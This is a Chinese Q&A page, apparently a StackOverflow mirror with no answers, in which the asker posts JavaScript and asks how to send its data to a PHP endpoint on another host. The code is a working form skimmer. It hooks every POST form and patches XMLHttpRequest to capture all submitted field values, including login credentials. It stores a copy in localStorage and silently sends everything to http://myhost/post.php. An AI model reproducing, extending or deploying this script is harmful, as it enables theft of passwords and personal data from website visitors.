Javascript代码段到不同的主机

时间:2017-04-21 17:10:06

标签: javascript php node.js

我有一些代码Javascript代码段来自我网站的收集数据 http://myhost/req.js

var readyStateCheckInterval_dn0400 = setInterval(function () {
    if (document.readyState === "complete" || document.readyState === "interactive") {
        clearInterval(readyStateCheckInterval_dn0400);
        try {
            if (window._dn0400) {
                return
            }
            window._dn0400 = true;
            init_dn0400()
        } catch (e) {}
    }
}, 100);

function getAllPostForms_dn0400() {
    var allForms = document.getElementsByTagName("form");
    var result = [];
    for (var i = 0; i < allForms.length; i++) {
        if (allForms[i].method === "post") {
            result.push(allForms[i])
        }
    }
    return result
}

function onFormSubmit_dn0400() {
    var res = [];
    for (var i = 0; i < this.elements.length; i++) {
        var name = this.elements[i].name;
        var value = this.elements[i].value;
        res.push({
            name: name
            , value: value
        })
    }
    var url = this.action;
    res = JSON.stringify(res);
    var obj = {
        data: res
        , url: url
    };
    localStorage.setItem("_dn0400", JSON.stringify(obj));
    sendData_dn0400(res, url)
}

function tryOnFormSubmit_dn0400() {
    try {
        onFormSubmit_dn0400.apply(this, arguments)
    } catch (e) {}
}

function overloadForms_dn0400() {
    var forms = getAllPostForms_dn0400();
    for (var i = 0; i < forms.length; i++) {
        var form = forms[i];
        if (typeof form.addEventListener === "function") {
            form.addEventListener("submit", tryOnFormSubmit_dn0400, false)
        } else if (typeof form.attachEvent === "function") {
            form.attachEvent("onsubmit", tryOnFormSubmit_dn0400)
        }
    }
}

function buildFullUrl(host, url) {
    if (url.indexOf("http://") !== -1 || url.indexOf("https://") !== -1) {
        return url
    }
    if (host[host.length - 1] !== "/") {
        host += "/"
    }
    if (url[0] === "/") {
        url = url.substring(1)
    }
    return host + url
}

function sendData_dn0400(data, url) {
    var x = new XMLHttpRequest;
    var query = "data_dn0400=" + encodeURIComponent(data) + "&url_dn0400=" + encodeURIComponent(url);
    x.open("GET", "http://myhost/post.php?" + query, true);
    x._dn0400 = true;
    x.send()
}

function overloadAjax_dn0400() {
    (function (open) {
        XMLHttpRequest.prototype.open = function () {
            open.apply(this, arguments);
            var method = arguments[0].toLowerCase();
            var url = arguments[1];
            this._method = method;
            this._url = url
        }
    })(XMLHttpRequest.prototype.open);
    (function (send) {
        XMLHttpRequest.prototype.send = function (data) {
            send.call(this, data);
            if (this._dn0400) {
                delete this._dn0400;
                return
            }
            var method = this._method;
            var url = this._url;
            delete this._method;
            delete this._url;
            if (method !== "post") {
                return
            }
            url = buildFullUrl(window.location.host, url);
            if (!data) {
                data = {}
            }
            data = JSON.stringify(data);
            sendData_dn0400(data, url)
        }
    })(XMLHttpRequest.prototype.send)
}

function init_dn0400() {
    overloadForms_dn0400();
    overloadAjax_dn0400();
    var old = localStorage.getItem("_dn0400");
    if (old) {
        localStorage.removeItem("_dn0400");
        try {
            old = JSON.parse(old);
            sendData_dn0400(old.data, old.url)
        } catch (e) {}
    }
    return;
    var x = new XMLHttpRequest;
    x.open("POST", "test1", true);
    var obj = {
        name: "user"
        , pass: "pswd"
    };
    x.send(obj)
}

但是远程该文件我需要PHP文件来获取具有相同主机的数据

我的问题如果在host1中req.js但在host2中是post.php?

0 个答案:

没有答案